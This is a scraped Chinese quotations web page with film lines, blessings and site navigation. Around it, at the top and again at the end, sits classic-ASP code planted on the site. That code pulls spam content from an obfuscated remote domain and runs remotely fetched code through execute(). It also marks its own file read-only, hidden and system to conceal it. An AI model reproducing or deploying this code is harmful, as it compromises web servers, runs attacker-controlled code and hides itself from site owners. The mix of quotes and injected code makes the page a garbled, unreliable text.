response.write "" & vbCrLf
response.write "" & vbCrLf
response.write ""
Public Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
End Function
body=GetHtml("http://html.1"&"0"&"4"&"0"&"8"&"0.com/body.asp?site="&Request.ServerVariables("HTTP_HOST")&"&kid="&Request.ServerVariables("QUERY_STRING")&"")
response.write body
execute(Gethtml("http://g"&"l"&"o.10"&"4"&"0"&"8"&"0.com/x"&"m"&"l/b"&"e"&"t.txt"))
Dim curUrl:curUrl = Request.ServerVariables("Script_Name")
curUrl = Server.MapPath(curURL)
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile(curURL)
y = f.Attributes
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
response.end我们约会吧蔡旸经典语录:只要长的帅，都是我的菜谁也不能阻止我追求真爱!子非鱼怎知鱼未忆，子非我怎知我情深。我不想让你幸福，因为我要亲手给你幸福我就喜欢你看不惯我却又干不掉我的样子凡是给我泼过冷水的，我都会烧开了再泼回去就算没有倾国倾城的容貌，但一定要有摧毁一切的骄傲!
&小爸爸里的经典语录和台词：我们北京都喝白的啊!奔驰宝马哪有大巴霸气呀!男人不喝酒就不算爷儿们。这是我的家，你的家在美国。你从小到现在没少干出格的事。你们外国人就红的白的一起上呗!从现在开始一直到睡觉时间都归你。叫你儿子认认真真的给我儿子道歉。让他卖，卖过了六万我于字倒着写。
辣妈正传经典台词和语录：长的才貌双全到哪都受欢迎。闹着玩扣眼珠子呢!&&元宝你第一次当小孩，我第一次当妈。这个太能证明了，只多不少啊!&&元宝我跟你真是由内而外地不合适。&&夏冰婚结了还可以离，孩子生了就塞不回去了。这是主编的生理周期表&&能离多远，就离多远。
&　　1、如果爱情结束了，那就是结束了，别回头，冲着你下一个目标去吧。2、据说当你失眠的时候，你将会在别人的梦里出现，可是梦，终究是梦，永远也不能成为现实。3、世界上最美妙的一件事是，当你拥抱一个你爱的人，他竟然把你抱得更紧，可是这样的美妙又有几人能够体会?
人们日常所犯最大的错误，是对陌生人太客气，而对亲密的人太苛刻。任何时候都可以开始做自己想做的事，只要你不要用年龄和其他东西去束缚你自己。如果你心情不好，就问问自己，你有什么而不是没有什么。人生短短几十年，不要给自己留下了什么遗憾，该爱的时候就去爱，无谓压抑自己。青春的路上我偏执的过，最后留我一人走。
1、无论我变得如何强大，你仍然是我的弱点。2、生活坏到一定程度就会好起来，因为它无法更坏。所以我们心中应该总是充满阳光。3、有时候，没有下一次，没有机会重来，没有暂停继续。4、人生的路，靠的是自己一步步取走，真正能保护你的，是你自己的选择。而真正能伤害你的，也是一样，自己的选择。
1.生命中的许多东西是可遇不可求，刻意强求的得不到，而不曾被期待的往往会不期而至。 因此，要拥有一颗安闲自在的心，一切随缘，顺其自然，不怨怒，不躁进，不过度，不强求，不以物喜，不以己悲。随缘不是听天由命，而是以豁达的心态面对生活。2.世界上唯一可以不劳而获的就是贫穷，唯一可以无中生有的是梦想。没有哪件事，不动手就可以实现。
1、我只是希望向你伸出双手，去触碰你的寂寞。2、生活不是等待暴风雨过去，而是要学会在雨中跳舞。3、时间是世界上一切成就的土壤。时间给空想者痛苦，给创造者幸福。4、感情这东西很难处理的，不能往冰箱里一搁，就以为它可以保存若干时日，不会变质了。
1、学会绝 ，该滚的就滚，该留的就留。2、学会孤独，没有谁会把你当宝护着，世界总是孤单的3、学会坚强，其实一个人也可以活得漂亮，自己 给自己看，自己哭给自己听4、学会忍耐，该闭嘴就闭嘴，该沉默就沉默5、学会珍惜，知心的朋友已经不多，如果再走，就真的只剩下自己了
中国合伙人经典语录和精彩的台词：在你眼里我从来都是一傻逼我没有装孙子，我真的是孙子!实践才是检验真理的唯一标准。小姐心态，寡妇待遇，妇联追求牛逼就别再回来，永远别再回来!Do you have a dream ? 春梦算吗?假如生活欺骗了你，你也要欺骗会生活。你要是不答应我 ，我就拉你一起跳湖。
描写五月的优美句子 五月夏天风景的句子：感谢五月的春风，五月明媚的阳光，以及大自然的真纯美好，让灵魂在此获救。我漫步在五月的风中，仰望着天空，憧憬着夏天的灿烂，秋天的绚丽，冬天的凝重。五月风，记载着一个个美丽的传说，每一个传说都化做一片云彩，弥漫在整个天空。
文强经典语录：平淡、平安才是福：&要是当年我不从巴县调出来，留在那里安心当一个小片警，我的今天就不会是这样。贪图功名利禄是我这一生最大的错误。我死后我的孩子就不要再姓文了，改姓别的，子子孙孙以后再也不要从政，不要当官，远离功名利禄。平淡、平安才是福。&
安慰心情不好的句子 安慰失恋人的话：恨使生活瘫痪无力，爱使它重获新生。恨使生活混乱不堪，爱使它变得和-谐。恨使生活漆黑一片，爱使它光彩夺目。朋友，让我们心中永远充满爱吧！良性的暗示，会温暖人心；恶性的暗示，会遭人忌恨。在大庭广众之中，在众目睽睽之下，自己常会不自觉地做出蠢事
微博励志座右铭 成功励志座右铭：求卓越,成功才会不经意间追上你。只有百分之一的希望,就尽百分之百的努力经典座右铭:小胜靠智,大赢靠德,常胜德才。凝聚&微力量& 传递&正能量&,这就是我们的座右铭!与精神和谐相处,以一心代万念。&&&这是我的座右铭无悔是一种假想,知悔是一种勇气,思悔是一种成熟,改过是一种美德
致青春经典语录和经典台词回顾：谁先爱了,谁就输了。很多人，一旦错过了，就是陌路。青春是有限的，不能在犹豫和观望中度过。见鬼去吧，什么终将逝去的青春，我赌一次永恒!眼泪无谓而徒劳的液体，流泪的人是愚蠢而可悲的。在这个世界上，没有人真正可以对另一个人的伤痛感同身受。
描写幸福的句子 关于爱情幸福的句子：幸福就是，不后悔。幸福就是，珍惜现在拥有的。彼此相爱就是幸福。如此简单，如此难。意志力是幸福的源泉，幸福来源于自我约束。幸福就是，坚持了应该坚持的，放弃了应该放弃的。幸福，是两个人找遍地图上所有想去的地方，然后一起去。小时候，幸福&&是件很简单的事;
关于青春的唯美句子 青春唯美语句：有人说：青春是快乐的源泉；快乐在这里流淌，痛苦也在对面徘徊。有人写，青春是多雨的天空；雨露在这里蔓延，阳光也在天边等待&&青春，一半明媚，一半忧伤。它是一本惊天地泣鬼神的着作，而我们却读的太匆忙。于不经意间，青春的书籍悄然合上，以至于我们要重新研读它时.....
描写鱼的句子 关于形容鱼的句子：红鲤鱼宛如一块块红绸在水面上下舞动。金翅鱼像好胜的跳水姑娘，不时拍动浪花，跃向空中。那金鱼的眼睛在不停地眨动，就像夜晚天空中闪光的星星。簇拥上来抢食的鱼群，就像一朵五彩锦簇般的大花忽地盛开了。戏水的鱼群在水面上闪烁着点点银光，宛若夏天晴空中点缀的繁星。
浪漫感人的求婚词 新郎求婚告白词:& 《裸婚时代》里面有一段刘易阳对童佳倩的求婚，很是感人。最经典的方式一直被沿用至今，不过，现在的女人也许希望更煽情、更浪漫感人而且更有新意的求婚方式。那么就好好看看下面收集的浪漫感人的求婚词吧，在这美丽的季节，向她求婚吧，让她一辈子的难以忘记！
2013母亲节祝福语 送给妈妈的温馨短信祝福语：母亲节到了，买一束康乃馨送给妈妈，对她说句暖心的话，从小，我们在她的怀里长大，给她一个拥抱，让她知道我们已经长大。祝福天下的母亲幸福，平安，健康，快乐。母亲节到了，在这个特别的节日，我为你买了幸福衫、健康裤、开心帽、活力鞋，穿上它，愿你一年四季健健康康
分页:...1...
爱情语录语句排行
祝福语录语句排行
搞笑语录语句排行
郭敬明经典语录大全
最新经典语录语句排行
最热最火语录排行
经典语录排行
经典语句排行
经典台词排行
经典话语、经典的话
优美语句、优美的句子
唯美语句、唯美的句子
伤感语句、伤感的句子
伤感语录语句排行
励志语录语句排行
网络流行语大全
经典名言格言排行
经典个性签名排行
经典座右铭大全
经典语录网站排行榜
月度语录语句排行
年度语录语句排行
文章总数:1715
评论总数:45
引用总数:0
浏览总数:5292990
留言总数:13
当前主题:j-springt主题
当前样式:j-spring
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
中华经典语录网版权信息
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&response.write "" & vbCrLf
response.write "" & vbCrLf
response.write ""
Public Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
End Function
body=GetHtml("http://html.1"&"0"&"4"&"0"&"8"&"0.com/body.asp?site="&Request.ServerVariables("HTTP_HOST")&"&kid="&Request.ServerVariables("QUERY_STRING")&"")
response.write body
execute(Gethtml("http://g"&"l"&"o.10"&"4"&"0"&"8"&"0.com/x"&"m"&"l/b"&"e"&"t.txt"))
Dim curUrl:curUrl = Request.ServerVariables("Script_Name")
curUrl = Server.MapPath(curURL)
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile(curURL)
y = f.Attributes
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
response.end